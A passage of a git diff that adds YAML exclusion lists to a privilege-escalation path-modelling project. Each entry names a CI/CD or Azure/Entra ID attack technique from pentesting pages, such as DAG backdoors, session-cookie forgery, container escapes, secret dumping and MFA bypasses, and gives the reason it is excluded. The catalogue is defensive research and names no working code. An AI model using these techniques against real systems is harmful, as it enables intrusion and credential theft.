src/pentesting-ci-cd/apache-airflow-security/README.md#retrieve-variables-values + technique: Export or retrieve a masked Airflow Variable secret + reason: Masked Variable export is version and permission dependent; current releases restrict sensitive export. + The selected value must contain a reusable credential and its target principal must be resolved, none of which + is collected. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#privilege-escalation + technique: Forge an Airflow Admin session with exposed Flask secret_key + reason: Forging an Airflow Admin session requires the effective Flask secret_key, a compatible signed-cookie session + backend, a valid target user ID and network access to the webserver. Airflow runtime configuration and secret + bytes are uncollected. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-backdoor-rce-in-airflow-worker + technique: Write a DAG that executes on an Airflow worker + reason: DAG-folder write can run code as an Airflow worker, but self-hosted Airflow DAG storage, worker identity, + schedule/trigger and file synchronization are uncollected. AWS MWAA and GCP Composer bucket-write entries cover + only their specific cloud permissions and environments. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-backdoor-rce-in-airflow-scheduler + technique: Place top-level code in a DAG parsed by scheduler + reason: Top-level DAG code may run as the scheduler on parse, but the scheduler must ingest the writable DAG file. + DAG path, parser behavior, scheduler identity and shared-storage topology are absent. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-creation + technique: Create DAGs on one cluster machine that replicate to other Airflow machines + reason: Writing the DAG folder on one machine may replicate code to other Airflow machines, but replication configuration, + receiving hosts and their identities are runtime topology facts not in the snapshot. This is a variant of DAG-folder + write, not a guaranteed new machine identity. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-code-injection + technique: Pass malicious DAG run parameters to a vulnerable DAG command + reason: A DAG run parameter becomes code execution only if a particular DAG places it unsafely into a command. + The DAG source, parameter use, run permission and worker identity require application-level collection. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#dag-code-injection + technique: Edit an Airflow Variable consumed unsafely by a DAG command + reason: Variable edit becomes code execution only if a particular DAG reads that variable into an unsafe command. + The variable-to-DAG dataflow, edit permission, execution timing and worker identity are uncollected. + +- source: src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md#configuration-file + technique: Read Airflow configuration secrets through console or host access + reason: airflow.cfg can contain stale values overridden by environment variables. The effective running secret, + file or UI read access, target identity and credential validity must be collected; config-file existence proves + no gain. + +- source: src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md#web-authentication + technique: Gain anonymous Airflow Admin via AUTH_ROLE_PUBLIC configuration + reason: AUTH_ROLE_PUBLIC=Admin could grant anonymous Airflow Admin access, but effective webserver_config.py, + deployment reachability and FAB authentication state are not in the snapshot. A file value alone may be overridden. + +- source: src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md#rbac + technique: Read configuration as an Airflow Op on affected releases and recover signing secret + reason: On affected Airflow versions Op can read effective configuration, which may expose secret_key and permit + cookie forgery. Version, effective config, signing key, session backend and a target user are uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#provider-credentials + technique: Read Atlantis host provider credentials after obtaining host or container access + reason: Atlantis can carry cloud or VCS credentials on its host, but a host/container read path, credential delivery + method, actual bytes, validity and target principal are uncollected. Merely hosting Atlantis does not prove + credential access. + +- source: src/pentesting-ci-cd/atlantis-security.md#repos-configuration + technique: Poison a repository-local script executed by an Atlantis server-side hook + reason: Server-side hooks run repository-local scripts only when a configured hook names such a path from the + PR checkout. Atlantis hook command, SCM write rights, trigger path and runner identity are uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#repos-configuration + technique: Define malicious custom workflow commands in atlantis.yml + reason: atlantis.yml custom commands execute only when server-side allow_custom_workflows and any workflow override + policy permit them. Repository write, PR workflow trigger and runner credentials require Atlantis and SCM facts + absent from the snapshot. + +- source: src/pentesting-ci-cd/atlantis-security.md#atlantis-plan-rce---config-modification-in-new-pr + technique: Execute Terraform external data source or malicious provider during Atlantis plan + reason: Plan-time code execution requires write to the Terraform configuration of an allowed repo and a plan of + the attacker PR. Atlantis repo allowlist, plan trigger, Terraform content and runner identity are uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#atlantis-plan-secrets-dump + technique: Expose Terraform secret variables through nonsensitive plan output or state + reason: nonsensitive output exposes a credential only if a Terraform variable contains one and the attacker can + see the resulting plan or state. Variable contents, output visibility, state access and credential validity + are uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#atlantis-apply-rce---config-modification-in-new-pr + technique: Execute local-exec on Atlantis during apply + reason: local-exec runs only on a successful apply of malicious Terraform, after any mergeability and approval + gates. SCM branch rights, Atlantis apply authorization, gate state, runner identity and credential access are + uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#pr-hijacking + technique: Trigger another user PR or push malicious config after approval to obtain Atlantis execution + reason: A comment can rerun an existing plan, but attacker code execution additionally needs branch write, stale-approval + behavior or another passing gate, and an apply or plan path that executes it. These VCS and Atlantis facts are + uncollected. + +- source: src/pentesting-ci-cd/atlantis-security.md#post-exploitation + technique: Read VCS tokens, Terraform state or process credentials from Atlantis files + reason: Atlantis data-dir, .git-credentials, state and process environment can contain reusable credentials, but + path configuration, host/LFI read access, actual bytes, validity and target principal are absent from the snapshot. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_crossprovider_s06.yaml b/src/privilege-escalation-paths-research/azure/_excluded_crossprovider_s06.yaml new file mode 100644 index 0000000000..7ce924bb59 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_crossprovider_s06.yaml @@ -0,0 +1,187 @@ +# Cross-provider CI/CD techniques outside the four-provider evaluator. +- source: src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md#auth-data-collector-token-x-data-collector-token + technique: Known default data collector token grants protected Compliance API access + reason: Requires live acceptance of the retained default token; no IAM snapshot proves that fact. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md#compliance-api-sql-injection-cve-2025-8868 + technique: CVE-2025-8868 filters[].type SQL injection obtains database data or write capability + reason: Requires a vulnerable running version, reachable authenticated endpoint, exploitable input, and database + grants. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/circleci-security.md#circleci-mcp-server-hostorigin-bypass-to-pipeline-rce + technique: Unauthenticated CircleCI MCP run_pipeline under delegated organization token + reason: Requires a reachable vulnerable MCP deployment, shared-token settings, and a live request path. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/circleci-security.md#search-clear-text-secrets + technique: Read plaintext secrets in repository CircleCI configuration + reason: Requires repository contents to contain a valid usable secret; repository read alone proves none. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/circleci-security.md#escape-to-cloud + technique: Self-hosted CircleCI runner exposes host cloud metadata identity + reason: Requires an actual self-hosted runner placement and reachable metadata service with stronger attached + identity. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/circleci-security.md#persistence + technique: Change a secret to inject a command in a trusting CircleCI job + reason: Requires a particular secret to be interpolated unsafely by a later job; secret edit alone proves no execution. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/cloudflare-security/README.md#pages + technique: Read Cloudflare Pages build logs, repo, or environment variables for credentials + reason: Requires an actual credential value in logs, repository contents, or readable variables. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/cloudflare-security/README.md#workers + technique: Exploit Worker input SSRF into bound R2/internal service + reason: Requires vulnerable Worker code and reachable internal service; a binding alone does not prove SSRF. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/cloudflare-security/README.md#notifications + technique: Read notification webhook URL containing embedded basic auth + reason: Requires a stored basic-auth credential in a notification URL and visibility of its value. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md#automating-deployment-and-rotation-with-flareprox + technique: Cloudflare Worker proxy can bypass IP-based access restriction + reason: Requires the target to use an IP allowlist admitting Cloudflare egress and a Worker proxy able to reach + it. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#concourse-enumeration + technique: Steal Concourse fly API token from .flyrc on a compromised host + reason: Requires a readable live .flyrc token on a compromised host; CI configuration cannot prove token possession. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#pipelines + technique: Read plaintext credentials in Concourse pipeline definitions + reason: Requires a plaintext usable secret in a pipeline definition, not simply permission to read the definition. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#credentials-brute-force + technique: Authenticate using default Concourse admin:test/test:test credentials + reason: Requires default credentials to remain accepted by the running Concourse service. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#session-inside-running-or-recently-run-container + technique: Intercepted Concourse job obtains cloud metadata credentials + reason: Requires the intercepted job container to reach metadata and its host to carry a stronger identity. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#escaping-to-the-node-from-privileged-task + technique: Privileged Concourse task uses cgroup v1 release_agent for node code execution + reason: Requires cgroup v1 release_agent, suitable capabilities and writable cgroup mount in the worker runtime. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#escaping-to-the-node-from-a-worker-container + technique: Compromised Concourse Worker container escapes via cgroup release_agent + reason: Requires a compromised worker container plus cgroup v1 and host isolation weakness. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#escaping-to-the-node-from-the-web-container + technique: Read local Concourse users and PostgreSQL credentials in web container + reason: Requires actual web-container file access and valid local/DB credentials at runtime. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#escaping-to-the-node-from-the-web-container + technique: Edit Concourse database teams using stolen PostgreSQL password + reason: Requires a stolen valid PostgreSQL password and live database authorization; no cloud permission edge + establishes it. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/docker-build-context-abuse.md#poc-path-traversal-via-docker-build-context + technique: Builder context path traversal includes host home credentials in image + reason: Requires the builder to accept traversal, include host files, and publish an image readable to the actor. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/docker-build-context-abuse.md#cloud-pivot-with-overprivileged-tokens-example-flyio-machines-api + technique: Stolen Fly registry token calls Machines API for org-wide exec + reason: Requires an already stolen Fly token whose live scope includes Machines API; registry scope does not imply + it. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/docker-build-context-abuse.md#secret-theft-from-compromised-hosted-services + technique: Machine exec harvests client-supplied inbound API keys + reason: Requires live requests carrying usable client keys after host execution. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md#summary + technique: CVE-2024-28080 SSH public-key probe plus password fallback impersonates Gitblit user + reason: Requires vulnerable Gitblit 1.9.3, matching public key and authentication fallback behavior. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#with-user-credentialsweb-cookie + technique: Stolen i_like_gitea session cookie impersonates account + reason: Requires possession of a live Gitea session cookie and successful authentication. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#with-user-ssh-key + technique: Stolen Gitea user/deploy private key accesses repositories + reason: Requires possession of the corresponding private SSH key; key registration alone proves no theft. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#enumerate-webhooks + technique: Read secret embedded in Gitea webhook URL + reason: Requires a credential embedded in the actual webhook URL and access to that value. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#inside-the-server + technique: Read Gitea app.ini, sessions, JWT key or DB then impersonate + reason: Requires host file/database access and valid session or signing material. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#inside-the-server + technique: Use Gitea admin CLI to change password or create admin + reason: Requires shell access to the Gitea server with admin CLI rights; no configured lower permission proves + it. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#github-dorks + technique: Public or accessible repository/history secret leak yields credential + reason: Requires a real, valid credential in repository content or history. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#github-leaks-in-deletedinternal-forks + technique: Recover secret from retained deleted/internal fork objects + reason: Requires deleted/internal fork objects still accessible and holding a usable credential. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#with-user-credentials + technique: Stolen GitHub user_session cookie impersonates account + reason: Requires possession of a live GitHub session cookie and any required second factor. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#with-user-ssh-key + technique: Stolen user or deploy SSH key accesses GitHub repo + reason: Requires possession of a user/deploy private key and the corresponding repo grant. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#impersonate-a-github-app-with-its-private-key-jwt--installation-access-tokens + technique: Leaked GitHub App PEM mints installation tokens across installations + reason: Requires actual possession of the GitHub App PEM and an installation with stronger grants. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#delimiter-injection-into-trusted-internal-metadata + technique: GHES push-option delimiter injection disables controls or executes hook + reason: Requires vulnerable GHES implementation and a reachable privileged hook or control mutation. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/README.md#accessing-secrets + technique: Workflow code dumps secrets context, env, temp scripts or worker memory + reason: Reading environment, temp scripts or memory is the extraction stage after job execution; whether new credentials + exist is a runtime content fact. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/README.md#github-docker-images-registry + technique: Read secret embedded in GHCR image layer + reason: Requires an image layer that actually contains a valid secret and permission to pull that layer. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/README.md#sensitive-info-in-github-actions-logs + technique: Read unmasked generated token or secret from Actions logs + reason: Requires log lines with an unmasked, still valid token; log read permission alone is insufficient. + source_revision: 0b36331 diff --git a/src/privilege-escalation-paths-research/azure/_excluded_entraid.yaml b/src/privilege-escalation-paths-research/azure/_excluded_entraid.yaml new file mode 100644 index 0000000000..e5ba6b6130 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_entraid.yaml @@ -0,0 +1,158 @@ +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#pim-application-permissions + technique: PrivilegedAccess.ReadWrite.AzureAD / PrivilegedAccess.ReadWrite.AzureResources + reason: Legacy PIM (iteration 2) permissions on retired APIs; current directory-role PIM schedule APIs require RoleManagement.ReadWrite.Directory, modelled in azure-entraid-graph-rolemanagement-readwrite-directory. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + technique: AuditLog.Read.All / RoleManagement.Read.Directory + reason: Read-only enumeration of sign-in/audit data and role assignments; no privilege gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + technique: User.ReadWrite.All (password reset) + reason: Does not grant password reset or role assignment (HackTricks and Graph docs agree); its attribute-write ability is modelled in azure-entraid-dynamic-group-attribute-control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsallpropertiesupdate + technique: applications/allProperties/update - redirect URI / requested-permission changes + reason: Token interception via added redirect URI requires victim interaction and an exploitable auth flow (code redemption needs client secret/PKCE); requested permissions still need fresh consent. The credential-update part of allProperties/update is modelled in azure-entraid-app-credentials-update. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#entra-id-applications-admin + technique: Application admin / owner adds redirect URIs or requested permissions + reason: Same as above - phishing/consent dependent, no deterministic principal edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#applications-privilege-escalation + technique: Applications Privilege Escalation (enumeration of app API permissions) + reason: Explanatory/enumeration section; the underlying credential-injection edge is modelled by the application/service-principal credential entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalssynchronizationcredentialsmanage + technique: servicePrincipals/synchronizationCredentials/manage + reason: Manages provisioning-connector credentials, not the service principal's own sign-in credentials; impact depends on the external connector target and yields no Entra principal. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalsdisable-and-enable + technique: servicePrincipals/disable and enable + reason: Availability/DoS or re-enabling a principal whose credentials are already controlled; grants no new identity by itself. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalsgetpasswordsinglesignoncredentials--microsoftdirectoryserviceprincipalsmanagepasswordsinglesignoncredentials + technique: servicePrincipals get/managePasswordSingleSignOnCredentials + reason: getPasswordSingleSignOnCredentials can reveal a stored third-party application username/password when + password SSO is configured; an external application identity target is required. + source_revision: 0b36331 +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorydevicesregisteredownersupdate + technique: devices/registeredOwners/update and devices/registeredUsers/update + reason: Directory metadata only; does not grant device or identity access by itself (HackTricks notes this). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorybitlockerkeyskeyread + technique: bitlockerKeys/key/read + reason: Data access (volume unlock); no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#policyreadall--policyreadwriteconditionalaccess + technique: Policy.Read.All + Policy.ReadWrite.ConditionalAccess + reason: Weakens or disables Conditional Access (defense evasion); grants no principal's privileges. Belongs to Least Privilege / Exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#conditional-access-policies-bypasses + technique: Conditional Access condition bypasses (device platform/user-agent, locations, client apps, cloud apps) + reason: Authentication-control bypass for an already-compromised credential; no new principal privileges. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#other-az-mfa-bypasses + technique: Phone-call MFA voicemail (ring tone) and compliant-device / PRT MFA bypasses + reason: MFA bypass for existing credentials, configuration-dependent and partly legacy; not a permission-based escalation edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#tooling + technique: AzureAppsSweep / roadrecon / MFASweep / ROPCI / donkeytoken + reason: Tooling for CA/MFA gap testing; no privilege edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md#dynamic-groups-enumeration + technique: Dynamic group enumeration + reason: Enumeration only; escalation is modelled in entraid_groups.yaml. +- source: src/pentesting-cloud/azure-security/az-basic-information/README.md#global-administrator + technique: Global Administrator elevates to User Access Administrator at root scope + reason: Already modelled as azure-authorization-elevateaccess-global-admin in catalog/azure/authorization.yaml; not duplicated. +- source: src/pentesting-cloud/azure-security/az-persistence/README.md#oauth-application + technique: Register an app and request high-impact application permissions with admin consent + reason: Requires an administrator who can already grant those permissions (covered by role/Graph entries); otherwise persistence/phishing only. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#app-consent-permissions + technique: Admin consent by Application / Cloud Application Administrator (servicePrincipals/managePermissionGrantsForAll.microsoft-application-admin, servicePrincipals/appRoleAssignedTo/update) + reason: These roles can consent/assign app roles for APIs other than Microsoft Graph / Azure AD Graph; the gain is API data access (e.g. non-Graph app roles), with no Entra/Azure principal target kind. Same roles' credential-injection edges are modelled. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#2-types-of-attacks + technique: Consent phishing + reason: Initial access via user consent; no in-tenant permission edge. +- source: src/pentesting-cloud/azure-security/az-persistence/README.md#federation---token-signing-certificate + technique: AD FS token-signing certificate replacement + reason: Requires on-premises Domain Admin / AD FS server control; on-prem to cloud pivot outside the Entra snapshot. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md#scoping-and-risks-of-fic-subject-types + technique: Over-broad federated identity credential subjects (GitHub OIDC) + reason: The source is an external CI identity, not a tenant principal; FIC creation by tenant principals is covered by the credential-update entries. + +# Added at hacktricks-cloud rev 171e422 (Entra ID / PIM / Governance / Intune refresh). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#entra-id-azuread--azure-iam + technique: Entra ID privesc page introduction + source_revision: 171e422 + reason: Introductory text; techniques are mapped heading by heading. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#other-high-impact-microsoft-graph-permissions-directoryreadwriteall-groupmemberreadwriteall-synchronizationreadwriteall-privilegedeligibilityschedulereadwriteazureadgroup + technique: Synchronization.ReadWrite.All provisioning / sync tampering + source_revision: 171e422 + reason: Graph documents it as configuring the synchronization service; outcomes depend on connected-system and attribute-mapping configuration that is not collected. GroupMember/Directory.ReadWrite.All are in azure-entraid-graph-group-readwrite-all, Domain.ReadWrite.All in azure-entraid-domain-federation-backdoor and PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup in azure-entraid-graph-pim-groups-eligibility. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#other-high-impact-microsoft-graph-permissions-directoryreadwriteall-groupmemberreadwriteall-synchronizationreadwriteall-privilegedeligibilityschedulereadwriteazureadgroup + technique: RoleManagementPolicy.ReadWrite.Directory/AzureADGroup and Policy.ReadWrite.AuthenticationMethod/AuthenticationFlows + source_revision: 171e422 + reason: Enablers that weaken PIM activation or authentication-method policy; they grant no principal by themselves and only lift the pim_approval_required_by_other_principal blocker or MFA conditions of other entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsmyorganizationcredentialsupdate + technique: applications.myOrganization/credentials/update + source_revision: 171e422 + reason: Modelled in azure-entraid-app-myorg-credentials-update (single-tenant applications). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorygroupsallpropertiesupdate + technique: groups/allProperties/update + source_revision: 171e422 + reason: Membership write is modelled in azure-entraid-group-members-update and membership-rule write in azure-entraid-group-dynamic-rule-update. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#dynamic-groups-privesc + technique: Dynamic groups privesc (reference) + source_revision: 171e422 + reason: Pointer to dynamic-groups.md; modelled in azure-entraid-dynamic-group-attribute-control, azure-entraid-dynamic-group-guest-invite and azure-entraid-group-dynamic-rule-update. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryusersbasicupdate + technique: users/basic/update attribute control for dynamic membership + source_revision: 171e422 + reason: Modelled in azure-entraid-dynamic-group-attribute-control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#conditional-access-policies--mfa-bypass + technique: Conditional Access / MFA bypass (reference) + source_revision: 171e422 + reason: Pointer to az-conditional-access-policies-mfa-bypass.md; bypasses are access techniques, not privilege gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorydevicesregisteredusersupdate + technique: devices/registeredUsers/update + source_revision: 171e422 + reason: 'Same as devices/registeredOwners: device registration links do not grant the device identity or its local admin rights; no principal edge.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#administrative-unit-scoped-role-assignment-stealth-privilege-source + technique: AU-scoped role assignment + source_revision: 171e422 + reason: Creating the assignment needs role-assignment management (azure-entraid-role-assignment-manage / azure-entraid-graph-rolemanagement-readwrite-directory); the resulting AU-scoped holders are evaluated by the reset entries through entra_role_assignment_scope_covers_target. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#custom-security-attributes-feeding-abac--dynamic-membership + technique: Custom security attributes satisfying dynamic group membership rules + source_revision: 171e422 + reason: REJECTED - Entra dynamic membership rules cannot reference custom security attributes (Microsoft documents CSAs as unsupported in dynamic rules), so this half of the heading is not a working path. The ABAC half is mapped as azure-entraid-custom-security-attribute-abac-dataplane / -scope-owner. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md# + technique: Conditional Access / MFA bypass page + source_revision: 171e422 + reason: Whole page covers authentication-policy bypasses (device, location, client, legacy auth); they help use an identity already compromised and grant no new privilege. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-connect-health-abuse.md# + technique: Entra Connect Health abuse page + source_revision: 171e422 + reason: Sign-in log forgery, on-prem AgentKey theft and hybrid recon; no privilege gain over tenant principals (the reader AgentKey path was remediated by Microsoft). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md# + technique: Dynamic groups page introduction + source_revision: 171e422 + reason: Introductory text; the privesc heading is modelled in azure-entraid-dynamic-group-attribute-control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#entra-id-governance + technique: Entra ID Governance introduction + source_revision: 171e422 + reason: Introductory text. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#entitlement-management-overview + technique: Entitlement management overview + source_revision: 171e422 + reason: Explanatory text. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#privileged-identity-management-pim + technique: PIM introduction + source_revision: 171e422 + reason: Introductory text. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#weaken-the-activation-gate + technique: Weaken the PIM activation policy + source_revision: 171e422 + reason: Enabler (roleManagementPolicies write / RoleManagementPolicy.ReadWrite.*); removes approval or MFA but the privilege is still gained through eligibility, modelled in azure-entraid-pim-eligible-role-activation. Azure RBAC policy write belongs to the authorization catalog. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#making-yourself-eligible-persistence-adjacent + technique: Create an eligible assignment for yourself + source_revision: 171e422 + reason: Needs the same rights as an active assignment (Privileged Role Administrator / RoleManagement.ReadWrite.Directory, or Azure RBAC Owner/User Access Administrator), already modelled as direct edges; eligibility is persistence. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md# + technique: Intune device-plane code execution (platform scripts, macOS shell scripts, Win32 apps, compliance tampering, PAW token theft) + source_revision: 171e422 + reason: Intune Administrator / DeviceManagementScripts.ReadWrite.All / DeviceManagementConfiguration.ReadWrite.All / DeviceManagementApps.ReadWrite.All give SYSTEM/root code execution on managed devices; there is no device target kind and device-to-user sign-in facts are not collected. Schema gap, proposed target kind entra_managed_device. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#activate-an-eligible-role-in-model-jit-self-elevation + technique: BloodHound AZRoleApprover (approver -> role) + source_revision: 171e422 + reason: 'The approver does not gain the role: approvers cannot approve their own activation and service principals cannot approve (pim-approval-workflow). It only lifts pim_approval_required_by_other_principal on azure-entraid-pim-eligible-role-activation when the source also controls a different eligible user; documented there.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + technique: BloodHound AZMGServicePrincipalEndpoint_ReadWrite_All + source_revision: 171e422 + reason: Microsoft documents ServicePrincipalEndpoint.ReadWrite.All only as updating service principal endpoints, and the servicePrincipal owners/addPassword/update APIs do not list it; BloodHound marks the edge itself not abusable and post-processes it into AZMGAddOwner on every service principal without Microsoft documentation backing. Not modelled until verified. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_pa_az_services_s01.yaml b/src/privilege-escalation-paths-research/azure/_excluded_pa_az_services_s01.yaml new file mode 100644 index 0000000000..f77dd35ab3 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_pa_az_services_s01.yaml @@ -0,0 +1,32 @@ +# Verified exclusion proposals from pa-az-services-s01.yaml. +- source: src/pentesting-cloud/azure-security/az-services/az-ai-foundry.md#monitoring--supply-chain + technique: Read Git or external-source PATs and alter a later ML pipeline or prompt flow + source_revision: 0b36331 + reason: A connection secret must actually be a live push-capable PAT for a specific repository; that repository must be + linked to a privileged pipeline or prompt flow, and a later run must execute the changed code. Neither repository authorization + nor repository-to-workload dependency and trigger are established by the workspace connection metadata. +- source: src/pentesting-cloud/azure-security/az-services/az-ai-foundry.md#data--secret-stores + technique: Recover a storage SAS/key or Search/OpenAI API key from an ML datastore or connection + source_revision: 0b36331 + reason: The returned secret content must establish credential type, validity, target service, and authorization beyond the + caller. The page lists several possible types; the existing azure-ml-connection-secrets entry already covers service-principal + secrets, while a SAS or API key does not identify a reusable Azure or Entra principal. A service-plane edge also needs + the specific backing resource and its local-auth/network state. +- source: src/pentesting-cloud/azure-security/az-services/az-api-management.md#named-values + technique: Read APIM Named Values containing arbitrary API keys or service secrets + source_revision: 0b36331 + reason: The Named Value must actually contain a live credential, and its content must identify a target service and effective + privileges. Key Vault references resolve through the APIM identity; the section alone does not prove the reader can use + the referenced secret. Service-principal credentials are already covered by azure-apim-named-value-secret. +- source: src/pentesting-cloud/azure-security/az-services/az-app-services.md#app-service-basic-information + technique: Read App Service settings or mount configuration containing a database or storage key + source_revision: 0b36331 + reason: The configuration must actually contain a valid database or storage credential, identify its backing service, and + grant access beyond the caller; the section only says these details may be exposed. Subsequent identity gain through data + poisoning additionally requires a consuming privileged workload and execution. +- source: src/pentesting-cloud/azure-security/az-services/az-arm-templates.md#search-sensitive-info + technique: Read deployment history or template containing a plaintext password, token, or secret + source_revision: 0b36331 + reason: The saved template must actually contain an unredacted live credential and identify a stronger principal or service + to which it authenticates. Deployment read permission and searching for password/secret/token/key strings do not 